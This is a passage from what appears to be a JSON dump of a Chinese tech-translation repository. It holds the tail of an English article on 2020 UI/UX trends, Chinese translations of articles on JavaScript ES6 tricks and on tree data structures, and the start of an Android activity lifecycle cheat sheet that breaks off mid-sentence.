the next/higher level. Every year, every new device brings new oppurtinitues for creating brand new and innovative microinteractions. 2020 wouldn’t be exception for sure.\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*DX5e1V7y0LE83gcNCgCzJw.png)\n\n3D graphic exist pretty much everywhere — in movies, video games, adverts on the streets. 3D graphic has been introduced few decades ago and since then has improved and evolved dramatically. Mobile and web technology is also growing rapidly fast. New web browser capabilities have opened the door for 3D graphic allowing us as designers to create and implement amazing 3D graphics into modern web and mobile interfaces.\n\n![[3D flip menu by Minh Pham](https://dribbble.com/phamduyminh)](https://cdn-images-1.medium.com/max/2000/1*qDlbltTzKja0Hx0dCupTCA.gif)\n\n![Car health report UI by [Gleb Kuznetsov](https://dribbble.com/glebich)](https://cdn-images-1.medium.com/max/2000/1*zFmiJUB1Z_C3VuwINPycaA.gif)\n\nCreating and then integration of 3D graphic into web and mobile interfaces requires some specific skills and tons of work, but very often the results are very rewarding.\n\n![[Apple AirPods Pro landing page](https://www.apple.com/airpods-pro/)](https://cdn-images-1.medium.com/max/4492/1*4uhVHjD9d6pfYOb2K4TRog.png)\n\n3D graphic renders allows to present the product or services in the a lot more interactive and engaging way: for instance 3D graphic renders could be viewed in 360 degree presentation improving the overall UX of the product.\n\nIn 2020 even more brands will use 3D render models to present the product or services in order to emulate the real world (in-store) shopping experience.\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*bPpluRGwRmcKIfd9Iuh7Cw.png)\n\n2019 has been a big year for VR. In the last years we have seen a lot of progress and excitement in VR headsets — mostly in gaming industry. We need to keep in mind that gaming industry very often brings innovation and new technologies into digital product design. Research proves that VR is no exception as after Oculus Quest in 2019 launch many opportunities have opened for other industries. Facebook CEO Mark Zuckerberg has already tested exciting hand interaction feature and officially announced hand-tracking update for Quest, coming early 2020!\n\n![Oculus Quest — hand interaction feature](https://cdn-images-1.medium.com/max/2560/1*WiOh5b7wTs4phPctqQ-vdg.jpeg)\n\n![PlayStation Virtual Reality Website Design by [Kazi Mohammed Erfan](https://dribbble.com/kazierfan)](https://cdn-images-1.medium.com/max/2000/1*e_CbRfbzCAar13yq8e1YWg.png)\n\nSony and Microsoft will release their new generation consoles in 2020 holiday season. These would bring a lot opportunities and room to growth for VR technology.\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*Qmmrrxor4LVdpG5RqpleEA.png)\n\nIn the last years we have seen a lot of progress, excitement and improvement of AR. The world’s leading tech companies are investing millions into AR development , so we should expect to expand and grow this technology in 2020. Even Apple has introduced their own AR toolkit called [ARKIT 3](https://developer.apple.com/augmented-reality/arkit/) to help designers and developers build AR based products.\n\n![Apple ARKit 3 by [Apple](https://developer.apple.com/augmented-reality/arkit/)](https://cdn-images-1.medium.com/max/5780/1*RRHUec5C2Q0aEdTv-t2aGQ.png)\n\n![Public transit app by [Yi Li](https://dribbble.com/coreyliyi)](https://cdn-images-1.medium.com/max/3200/1*EQ1UOOlsA7ZuXQdkWNMRwA.png)\n\n![House of Plants AR Concept by [Nathan Riley](https://dribbble.com/nathanriley)](https://cdn-images-1.medium.com/max/2000/1*rkl7gOWUrAMWPBvcAMeatQ.gif)\n\nThere are endless ****opportunities to innovate and create brand new and exciting experiences in AR space. UI design for AR will be one of the major trends in 2020, so as designers we should be prepared and eager to learn new tools, principles when creating AR experiences.\n\n---\n\n![](https://cdn-images-1.medium.com/max/2260/1*GIrEmNXeJKCjo4imwkk1Cg.png)\n\nGenerally speaking Skeuomorphic design refers to the design elements that are created in a realistic style/way to match the real life objects. The growth of VR/AR technology and latest design trends shown on the most popular design platforms (Dribbble, Behance etc.) might make skeuomorphic design comeback in 2020 — but this time with a lot modern fashion and slightly modified name: “New skeuomorphism” (also called **Neumorphism**).\n\n![[Skeuomorph Mobile Banking | Dark Mode](https://dribbble.com/shots/8557373-Skeuomorph-Mobile-Banking-Dark-Mode) by [Alexander Plyuto](https://dribbble.com/alexplyuto)](https://cdn-images-1.medium.com/max/6400/1*jHc54zFmPjfdCFji2TB3-Q.png)\n\n![Simple Music Player by [Filip Legierski](https://dribbble.com/kedavra)](https://cdn-images-1.medium.com/max/3200/1*BDEjVxl7yWdb7E5AU9nucQ.png)\n\n![Sleep Cycle App — Neumorphism Redesign by [Devanta Ebison](https://dribbble.com/devantaebison)](https://cdn-images-1.medium.com/max/3200/1*isXyzOKNJYT66tsQDX3OLA.png)\n\nAs you’ve probably noticed: ****Neumorphism represents very detailed and precise design style. Highlight, shadows, glows — attention to details is very impressive and definitely on spot. Neumorphism has already inspired a lot of designers from all over the world and there is big chance that Neumorphism will be the biggest UI design trend in 2020.\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*pSfNETPuUqJsh8OR-0_r8Q.png)\n\nIn the last years we have noticed huge grown of asymmetrical layouts in digital product design. Traditional / “template” based layouts are definitely going away. 2020 will not be any different as this trend will continue. Proper usage of asymmetrical layouts add a lot of character, dynamic and personality to our designs, so they do not template based anymore.\n\n![Limnia Fine Jewelry Grid — [Zhenya Rynzhuk](https://dribbble.com/Zhenya_Artem)](https://cdn-images-1.medium.com/max/3200/1*HNXaVNj-XfoIfZjCligjCw.png)\n\n![[Carine fashion store — selection screen concept](https://dribbble.com/shots/5886207-Carine-fashion-store-selection-screen-concept) — [Dawid Tomczyk](https://dribbble.com/shots/5886207-Carine-fashion-store-selection-screen-concept)](https://cdn-images-1.medium.com/max/3200/1*Rnp7xmSbuhHhwvkWxt2H9w.png)\n\nThere is a lot of room for creativity as the number of options and opportunities when creating asymmetrical layouts are endless. Although, creating successful asymmetrical layouts requires some practice and time — placing elements randomly on the grid wouldn’t work :) also they should be used and implemented with care — always keeping in mind users needs : we do not want to get them lost when using our digital products — do we? :)\n\n---\n\n![](https://cdn-images-1.medium.com/max/2260/1*Eu_GNedAoQ_Dzl-tKBv9mg.png)\n\nStories play an very important role in overall UX in the digital product design. You might see them very often on the landing pages as introduction to the brand, product or new service. Storytelling is all about transferring data to the users in the best possible informative and creative way. This could be achieved by copyrighting mixed with strong and balanced visual hierarchy (typography, illustrations, high-quality photos, bold colours, animations and interactive elements).\n\n![A+WQ / Young Lab Page Story of The Week Animation by [Zhenya Rynzhuk](https://dribbble.com/Zhenya_Artem)](https://cdn-images-1.medium.com/max/2712/1*sk8s9LyLmPUWeFMNccWX1A.png)\n\n![Free Sketch Template :: Mimini by [Tran Mau Tri Tam](https://dribbble.com/tranmautritam)](https://cdn-images-1.medium.com/max/2000/1*cDpCrm_uTX7jEho18kFQIA.gif)\n\n**Storytelling really helps to create positive emotions and relationships between your brand and users**. Storytelling might also make your brand a lot more memorable and making users feel like they are part of our products or services, so they would like to associate with them. Having said that, storytelling is also great and efficient marketing tool that might greatly increase the sales of your products/services. Storytelling as the very successful tool will continue and expand in 2020.\n\n---\n\n## Summary: 8 UI/UX design trends for 2020\n\n#### #1 Animated Illustrations\n\nBy applying motion to illustrations we might really make our designs stand out and bring them to the life — adding extra details and personality.\n\n#### #2 Microinteractions\n\nMicrointeractions are the perfect proof that details and attention to them might greatly improve the overall user experience of your digital products and place them on the next/higher level.\n\n#### #3 3D Graphics in web and mobile interfaces\n\nNew web browser capabilities have opened the door for 3D graphic allowing us as designers to create and implement amazing 3D graphics into modern web and mobile interfaces.\n\n#### #4 Virtual Reality\n\nGaming industry very often brings innovation and new technologies into digital product design.\n\n#### #5 Augmented Reality\n\nThere are endless ****opportunities to innovate and create brand new and exciting experiences in AR space. UI design for AR will be one of the major trends in 2020, so as designers we should be prepared and eager to learn new tools, principles when creating AR experiences.\n\n#### #6 Neumorphism\n\nThe grow of VR/AR technology and latest design trends shown on the most popular design platforms might make skeuomorphic design comeback in 2020 — but this time with a lot modern fashion.\n\n#### #7 Asymmetrical Layouts\n\nThere is a lot of room for creativity as the number of options and opportunities when creating asymmetrical layouts are endless. Although, creating successful asymmetrical layouts requires some practice and time.\n\n#### #8 Storytelling\n\nStorytelling is all about transferring data to the users in the best possible informative and creative way. Storytelling is also great and efficient marketing tool that might greatly increase the sales of your products/services.\n\n---\n\nWhich of the trends I’ve mentioned has got you the most excited? Is there any other trend that should have been included in the list? Please let me know In the comments section below! :) You might also check my previous articles:\n\n* [**Master the basics of visual: how to become a self-taught UI/UX designer**](https://uxdesign.cc/how-to-become-a-ui-ux-designer-self-taught-8a511170fd7c)\n* [**7 simple & effective methods to get better at Visual/UI Design**](https://uxdesign.cc/7-simple-methods-to-get-better-at-visual-ui-design-21fec0f417b5)\n* [**Top 8 soft skills in UI/UX design**](https://uxdesign.cc/top-8-soft-skills-in-ui-ux-design-e1aedc783ac9)\n\nIf you have any questions please feel free to [email me](mailto:dawidtomczykgrafik@gmail.com) — always happy to help. You can also find me at: [Dribbble](https://dribbble.com/dawidtomczyk), [Behance](https://www.behance.net/dawidtomczyk), [Instagram](https://www.instagram.com/daviduxdesigner/), [Uplabs](https://www.uplabs.com/dawidtomczyk), [Facebook](https://www.facebook.com/dawidtomczykuxdesigner), [LinkedIn](https://www.linkedin.com/in/dawid-tomczyk-464b2b91/) or by visiting personal [**portfolio website.**](https://davidux.design/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/8-useful-javascript-tricks.md",
    "content": "> * 原文地址：[8 Useful JavaScript Tricks](https://devinduct.com/blogpost/26/8-useful-javascript-tricks)\n> * 原文作者：[Milos Protic](https://devinduct.com/blogpost/26/8-useful-javascript-tricks)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/8-useful-javascript-tricks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/8-useful-javascript-tricks.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[twang1727](https://github.com/twang1727), [smilemuffie](https://github.com/smilemuffie)\n\n# 8 个实用的 JavaScript 技巧\n\n## 介绍\n\n每种编程语言都它独特的技巧。其中很多都是为开发人员所熟知的，但其中一些相当的 hackish。在这边篇文章中，我将向你展示一些我觉得有用的技巧。其中一些我在实践中使用过，而另一些则是解决老问题的新方法。Enjoy！\n\n## 1. 确保数组的长度\n\n不知道你是否遇见过这样的情况，在处理网格结构的时候，如果原始数据每行的长度不相等，就需要重新创建该数据。好吧，我遇到过！为了确保每行的数据长度相等，你可以使用 `Array.fill` 方法。\n\n```js\nlet array = Array(5).fill('');\nconsole.log(array); // 输出（5）[\"\", \"\", \"\", \"\", \"\"]\n```\n\n## 2. 数组去重\n\nES6 提供了几种非常简洁的数组去重的方法。但不幸的是，它们并不适合处理非基本类型的数组。稍后你可以在[棘手的数组去重](https://devinduct.com/blogpost/17/handling-array-duplicates-can-be-tricky)一文中读到更多有关它的信息。这里我们只关注基本类型的数组去重。\n\n```js\nconst cars = [\n    'Mazda', \n    'Ford', \n    'Renault', \n    'Opel', \n    'Mazda'\n]\nconst uniqueWithArrayFrom = Array.from(new Set(cars));\nconsole.log(uniqueWithArrayFrom); // 输出 [\"Mazda\", \"Ford\", \"Renault\", \"Opel\"]\n\nconst uniqueWithSpreadOperator = [...new Set(cars)];\nconsole.log(uniqueWithSpreadOperator);// 输出 [\"Mazda\", \"Ford\", \"Renault\", \"Opel\"]\n```\n\n## 3. 用扩展运算符合并对象和对象数组\n\n合并对象并不是一个罕见的问题，你很有可能已经遇到过这个问题，并且在不远的未来还会再次遇到。不同的是，在过去你手动完成了大部分工作，但从现在开始，你将使用 ES6 的新功能。\n\n```js\n// 合并对象\nconst product = { name: 'Milk', packaging: 'Plastic', price: '5$' }\nconst manufacturer = { name: 'Company Name', address: 'The Company Address' }\n\nconst productManufacturer = { ...product, ...manufacturer };\nconsole.log(productManufacturer); \n// 输出 { name: \"Company Name\", packaging: \"Plastic\", price: \"5$\", address: \"The Company Address\" }\n\n// 将对象数组合并成一个对象\nconst cities = [\n    { name: 'Paris', visited: 'no' },\n    { name: 'Lyon', visited: 'no' },\n    { name: 'Marseille', visited: 'yes' },\n    { name: 'Rome', visited: 'yes' },\n    { name: 'Milan', visited: 'no' },\n    { name: 'Palermo', visited: 'yes' },\n    { name: 'Genoa', visited: 'yes' },\n    { name: 'Berlin', visited: 'no' },\n    { name: 'Hamburg', visited: 'yes' },\n    { name: 'New York', visited: 'yes' }\n];\n\nconst result = cities.reduce((accumulator, item) => {\n  return {\n    ...accumulator,\n    [item.name]: item.visited\n  }\n}, {});\n\nconsole.log(result);\n/* 输出\nBerlin: \"no\"\nGenoa: \"yes\"\nHamburg: \"yes\"\nLyon: \"no\"\nMarseille: \"yes\"\nMilan: \"no\"\nNew York: \"yes\"\nPalermo: \"yes\"\nParis: \"no\"\nRome: \"yes\"\n*/\n```\n\n## 4. 数组映射（不使用 `Array.map`）\n\n你知道这里有另外一种方法可以实现数组映射，而不使用 `Array.map` 吗？如果不知道，请继续往下看。\n\n```js\nconst cities = [\n    { name: 'Paris', visited: 'no' },\n    { name: 'Lyon', visited: 'no' },\n    { name: 'Marseille', visited: 'yes' },\n    { name: 'Rome', visited: 'yes' },\n    { name: 'Milan', visited: 'no' },\n    { name: 'Palermo', visited: 'yes' },\n    { name: 'Genoa', visited: 'yes' },\n    { name: 'Berlin', visited: 'no' },\n    { name: 'Hamburg', visited: 'yes' },\n    { name: 'New York', visited: 'yes' }\n];\n\nconst cityNames = Array.from(cities, ({ name}) => name);\nconsole.log(cityNames);\n// 输出 [\"Paris\", \"Lyon\", \"Marseille\", \"Rome\", \"Milan\", \"Palermo\", \"Genoa\", \"Berlin\", \"Hamburg\", \"New York\"]\n```\n\n## 5. 根据条件添加对象属性\n\n现在，你不再需要根据条件创建两个不同的对象，以使其具有特定属性。扩展操作符将是一个完美的选择。\n\n```js\nconst getUser = (emailIncluded) => {\n  return {\n    name: 'John',\n    surname: 'Doe',\n    ...(emailIncluded ? { email : 'john@doe.com' } : null)\n  }\n}\n\nconst user = getUser(true);\nconsole.log(user); // 输出 { name: \"John\", surname: \"Doe\", email: \"john@doe.com\" }\n\nconst userWithoutEmail = getUser(false);\nconsole.log(userWithoutEmail); // 输出 { name: \"John\", surname: \"Doe\" }\n```\n\n## 6. 解构原始数据\n\n你曾经有处理过拥有非常多属性的对象吗？我相信你一定有过。可能最常见的情况是我们有一个用户对象，它包含了所有的数据和细节。这里，我们可以调用新的 ES 解构方法来处理这个大麻烦。让我们看看下面的例子。\n\n```js\nconst rawUser = {\n   name: 'John',\n   surname: 'Doe',\n   email: 'john@doe.com',\n   displayName: 'SuperCoolJohn',\n   joined: '2016-05-05',\n   image: 'path-to-the-image',\n   followers: 45\n   ...\n}\n```\n\n通过把上面的对象分成两个，我们可以用更能传递上下文含义的方式来表示这个对象，如下所示：\n\n```js\nlet user = {}, userDetails = {};\n({ name: user.name, surname: user.surname, ...userDetails } = rawUser);\n\nconsole.log(user); // 输出 { name: \"John\", surname: \"Doe\" }\nconsole.log(userDetails); // 输出 { email: \"john@doe.com\", displayName: \"SuperCoolJohn\", joined: \"2016-05-05\", image: \"path-to-the-image\", followers: 45 }\n```\n\n## 7. 动态设置对象属性名\n\n在过去，如果我们需要动态设置对象的属性名，我们必须首先声明一个对象，然后再给它分配一个属性。这不可能以单纯声明的方式实现。今时不同往日，现在我们可以通过 ES6 的功能实现这一目标。\n\n```js\nconst dynamic = 'email';\nlet user = {\n    name: 'John',\n    [dynamic]: 'john@doe.com'\n}\nconsole.log(user); // 输出 { name: \"John\", email: \"john@doe.com\" }\n```\n\n## 8. 字符串插值\n\n最后尤为重要的是拼接字符串的新方法。如果你想在一个辅助程序中构建模版字符串，这会非常有用。它使动态连接字符串模版变得更简单了。\n\n```js\nconst user = {\n  name: 'John',\n  surname: 'Doe',\n  details: {\n    email: 'john@doe.com',\n    displayName: 'SuperCoolJohn',\n    joined: '2016-05-05',\n    image: 'path-to-the-image',\n    followers: 45\n  }\n}\n\nconst printUserInfo = (user) => { \n  const text = `The user is ${user.name} ${user.surname}. Email: ${user.details.email}. Display Name: ${user.details.displayName}. ${user.name} has ${user.details.followers} followers.`\n  console.log(text);\n}\n\nprintUserInfo(user);\n// 输出 'The user is John Doe. Email: john@doe.com. Display Name: SuperCoolJohn. John has 45 followers.'\n```\n\n## 总结\n\nJavaScript 的世界正在迅速扩展。这里有许多很酷的功能，可以随时使用。棘手和耗时的问题正逐渐淡出过去，而且借助 ES6 的新功能，我们有了很多开箱即用的新解决方案。\n\n这就是今天我想分享的全部内容。如果你也喜欢这篇文章，请转发或者点赞呦。\n\n谢谢你的阅读，我们下次再见。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/8-useful-tree-data-structures-worth-knowing.md",
    "content": "> * 原文地址：[8 Useful Tree Data Structures Worth Knowing](https://towardsdatascience.com/8-useful-tree-data-structures-worth-knowing-8532c7231e8c)\n> * 原文作者：[Vijini Mallawaarachchi](https://medium.com/@vijinimallawaarachchi)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/8-useful-tree-data-structures-worth-knowing.md](https://github.com/xitu/gold-miner/blob/master/TODO1/8-useful-tree-data-structures-worth-knowing.md)\n> * 译者：[Amberlin1970](https://github.com/Amberlin1970)\n> * 校对者：[PingHGao](https://github.com/PingHGao), [Jiangzhiqi4551](https://github.com/Jiangzhiqi4551)\n\n# 8 个值得了解的树形数据结构\n\n对于一棵树你会想到什么呢？树根、分支和树叶？一个有树根、分支和树叶的大橡树可能会在你脑海浮现。相似地，在计算机科学中，树形数据结构有根部、分支和树叶，但它是自上而下的。树是一种层级数据结构，以表达不同节点之间的关系。在这篇文章中，我将会简要地给你介绍 8 种树形数据机构。\n\n#### 树的属性\n\n* 树可以没有节点也可以包含一个特殊的节点**根节点**，该根节点可以包含零或多棵子树。\n* 树的每条边都直接或间接地源于根节点。\n* 每个孩子节点只有一个父节点，但每个父节点可以有很多孩子节点。\n\n![Fig 1. 树的相关术语](https://cdn-images-1.medium.com/max/2000/1*PWJiwTxRdQy8A_Y0hAv5Eg.png)\n\n在这篇文章中，我将会简要地解释下面 8 种树形数据结构及它们的用途。\n\n1. 普通树\n2. 二叉树\n3. 二叉搜索树\n4. AVL树\n5. 红黑树\n6. 伸展树\n7. 树堆\n8. B树\n\n## 1. 普通树\n\n**普通树**是一种在层级结构上无限制的树形数据结构。\n\n#### 属性\n\n1. 遵循树的属性。\n2. 一个节点可以有任意数量的孩子。\n\n![Fig 2. 普通树](https://cdn-images-1.medium.com/max/2000/1*rInucvqb9X8bqM5yE143SQ.png)\n\n#### 用途\n\n1. 用于存储如文件结构类的层级数据。\n\n## 2. 二叉树\n\n**二叉树**是一种有如下属性的树形数据结构。\n\n#### 属性\n\n1. 遵循树的属性。\n2. 一个节点至多有两个孩子。\n3. 这两个孩子分别称为**左孩子**和**右孩子**。\n\n![Fig 3. 二叉树](https://cdn-images-1.medium.com/max/2000/1*abunFFnReygaqVt93xNr2A.png)\n\n#### 用途\n\n1. 在编译器中用于构造语法树。\n2. 用于执行表达式解析和表达式求解。\n3. 路由器中用于存储路由器表。\n\n## 3. 二叉搜索树\n\n**二叉搜索树**是二叉树的一种更受限的扩展。\n\n#### 属性\n\n1. 遵循二叉树的属性。\n2. 有一个独特的属性，称作**二叉搜索树属性**。这个属性要求一个给定节点的左孩子的值（或键）应该小于或等于父节点的值，而右孩子的值应该大于或等于父节点的值。\n\n![Fig 4. 二叉搜索树](https://cdn-images-1.medium.com/max/2000/1*jBgV9A847f_pHMbO67tcgw.png)\n\n#### 用途\n\n1. 用于执行简单的排序算法。\n2. 可以用作优先队列。\n3. 适用于数据持续进出的很多搜索应用中。\n\n## 4. AVL树\n\n**平衡二叉树**是一种自我平衡的二叉搜索树。这是介绍的第一种自动平衡高度的树。\n\n#### 属性\n\n1. 遵循二叉搜索树的属性。\n2. 自平衡。\n3. 每一个节点储存了一个值，称为一个**平衡因子**，即为其左子树和右子树的高度差。\n4. 所有的节点都必须有一个平衡因子且只能是 -1、0 或 1。\n\n在进行插入或是删除后，如果有一个节点的平衡因子不是 -1、0 或 1，就必须通过旋转来平衡树（自平衡）。你可以在我前面的文章 [**这里**](https://towardsdatascience.com/self-balancing-binary-search-trees-101-fc4f51199e1d) 阅读到更多的旋转操作。\n\n![Fig 5. AVL树](https://cdn-images-1.medium.com/max/2000/1*aI575o1BBE3B4cAFUG73pw.png)\n\n#### 用途\n\n1. 用于需要频繁插入的情况。\n2. 在 Linux 内核的内存管理子系统中用于在抢占期间搜索进程的内存区域。\n\n## 5. 红黑树\n\n红黑树是一种自平衡的二叉搜索树，每一个节点都有一种颜色：红或黑。节点的颜色用于确保树在插入和删除时保持大致的平衡。\n\n#### 属性\n\n1. 遵循二叉搜索树的属性。\n2. 自平衡。\n3. 每个节点或是红色或是黑色。\n4. 根节点是黑色（有时省略）。\n5. 所有叶子（标注为 NIL）是黑色。\n6. 如果一个节点是红色，那它的孩子都是黑色。\n7. 从一个给定的节点到其任意的叶子节点的每条路径都必须经过相同数目的黑色节点。\n\n![Fig 6. 红黑树](https://cdn-images-1.medium.com/max/2000/1*11zvjUozpAenuez03oUeYA.png)\n\n#### 用途\n\n1. 在计算几何中作为数据结构的基础。\n2. 用于现在的 Linux 内核的**完全公平调度算法**中。\n3. 用于 Linux 内核的 **epoll** 系统中。\n\n## 6. 伸展树\n\n**伸展树**是一种自平衡的二叉搜索树。\n\n#### 属性\n\n1. 遵循二叉搜索树的属性。\n2. 自平衡。\n3. 近期获取过的元素再次获取时速度更快。\n\n在搜索、插入或是删除后，伸展树会执行一个动作，称为**伸展**，在执行伸展动作时，树会被重新排列（使用旋转）将特定元素放置在树的根节点。\n\n![Fig 7. 伸展树搜索](https://cdn-images-1.medium.com/max/2000/1*w5MA0XAEk1vX1lef4cUbdA.png)\n\n#### 用途\n\n1. 用于实现缓存。\n2. 用在垃圾收集器中。\n3. 用于数据压缩。\n\n## 7. 树堆\n\n**树堆**（名字来源于**树**和**堆**的结合）是一种二叉搜索树。\n\n#### 属性\n\n1. 每个节点有两个值：一个**键**和一个**优先级**。\n2. 键遵循二叉搜索树的属性。\n3. 优先级（随机值）遵循堆的属性。\n\n![Fig 8. 树堆（红色的字母键遵循 BST 属性而蓝色的数字键遵循最大堆顺序）](https://cdn-images-1.medium.com/max/2000/1*iH-zgLTHTHYe2E56aa2MWw.png)\n\n#### 用途\n\n1. 用于维护公钥密码系统中的授权证书。\n2. 可以用于执行快速的集合运算。\n\n## 8. B树\n\nB树是一种自平衡的搜索树，而且包含了多个排过序的节点。每个节点有 2 个或多个孩子且包含多个键。\n\n#### 属性\n\n1. 每个节点 x 有如下（属性）：\n * x.n（键的数量）\n * x.keyᵢ（键以升序存储）\n * x.leaf（x 是否是一个叶子）\n2. 每个节点 x 有（x.n + 1）孩子。\n3. 键 x.keyᵢ 分割了存储在每个子树中键的范围。\n4. 所有的叶子有相等的深度，即为树的高度。\n5. 节点有存储的键的数量的上界和下界。这里我们考虑一个值 t≥2，称为 B树的**最小度**（或**分支因子**）。\n * 根节点必须至少有一个键。\n * 每个其余节点必须有至少（t - 1）个键和至多（2t - 1）个键。因此，每个节点将会有至少 t 个孩子和至多 2t 个孩子。如果一个节点有（2t - 1）个键，我们称这个点是**满的**。\n\n![Fig 9. B树](https://cdn-images-1.medium.com/max/2788/1*GXwr5PFqDNOOk8ae-8W5zA.png)\n\n#### 用途\n\n1. 用于数据库索引以加速搜索。\n2. 在文件系统中用于实现目录。\n\n## 最后的思考\n\n数据结构操作的时间复杂度的备忘录可以在这个[链接](https://www.bigocheatsheet.com/)找到。\n\n我希望这篇文章作为一个对树形结构的简单介绍对你是有用的。我很乐意听你的想法。😇\n\n非常感谢阅读！\n\n祝愉快! 😃\n\n## 参考\n\n - [1] 算法导论（第三版），作者：Thomas H.Cormen / Charles E.Leiserson / Ronald L.Rivest / Clifford Stein.\n - [2] [https://en.wikipedia.org/wiki/List_of_data_structures](https://en.wikipedia.org/wiki/List_of_data_structures)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 \n*本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/The-Android-Lifecycle-cheat-sheet-part-II-Multiple-activities.md",
    "content": "> * 原文地址：[Medium Android Developers](https://medium.com/androiddevelopers/the-android-lifecycle-cheat-sheet-part-ii-multiple-activities-a411fd139f24)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-II-Multiple-activities.md](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-II-Multiple-activities.md)\n> * 译者：[Rickon](https://github.com/gs666)\n> * 校对者：[Endone](https://github.com/Endone)，[Mirosalva](https://github.com/Mirosalva)\n\n# Android 生命周期备忘录 — 第二部分：多 Activity\n\n在这个系列中：\n\n- [第一部分：单一 Activities](https://juejin.im/post/5a77c9aef265da4e6f17bd51)\n- [**第二部分：多 Activity** — 跳转和返回栈（本篇文章）](https://juejin.im/post/5c8e018d51882545ca77d857)\n- [**第三部分：Fragments** — activity 和 fragment 的生命周期](https://github.com/xitu/gold-miner/blob/master/TODO1/The-Android-Lifecycle-cheat-sheet-part-III-Fragments.md)\n- [第四部分：ViewModels、半透明 Activity 和启动模式](https://medium.com/androiddevelopers/the-android-lifecycle-cheat-sheet-part-iv-49946659b094)\n\n为了方便查阅，我制作了 [PDF 格式备忘录](https://github.com/JoseAlcerreca/android-lifecycles)。\n\n> 请注意，图表中显示多个组件（activities，fragments 等）的生命周期时，并排显示的分组事件是并行的。执行焦点可以随时从一个并行事件组切换到另一个，因此**并行事件组之间的调用顺序并不能保证**。但是，组内的顺序是有保证的。\n>\n> 以下场景并不适用于有着自定义启动模式或任务关联型的 activities 和任务。想要了解更多，详见 Android 开发者官网：[任务和返回栈](https://developer.android.com/guide/components/activities/tasks-and-back-stack.html)。\n\n## 返回栈 — 场景 1：在 Activity 之间跳转\n\n![](https://user-gold-cdn.xitu.io/2019/3/2/1693d96d9b8fa76e?w=728&h=972&f=png&s=49929)\n\n**场景 1：在 Activity 之间跳转**\n\n在这种场景下，当一个新 activity 启动时，activity 1 被[停止](https://developer.android.com/guide/components/activities/activity-lifecycle.html#onstop)（但没有被销毁），类似于用户在进行跳转（就像按下 \"Home\" 一样）。\n\n当返回按钮被按下，activity 2 被销毁结束运行。\n\n### 管理状态\n\n请注意，尽管 [`onSaveInstanceState`](https://developer.android.com/reference/android/app/Activity.html#onSaveInstanceState%28android.os.Bundle%29) 被调用，**但是** [`onRestoreInstanceState`](https://developer.android.com/reference/android/app/Activity.html#onRestoreInstanceState%28android.os.Bundle,%20android.os.PersistableBundle%29) **不会被调用**。如果在第二个 activity 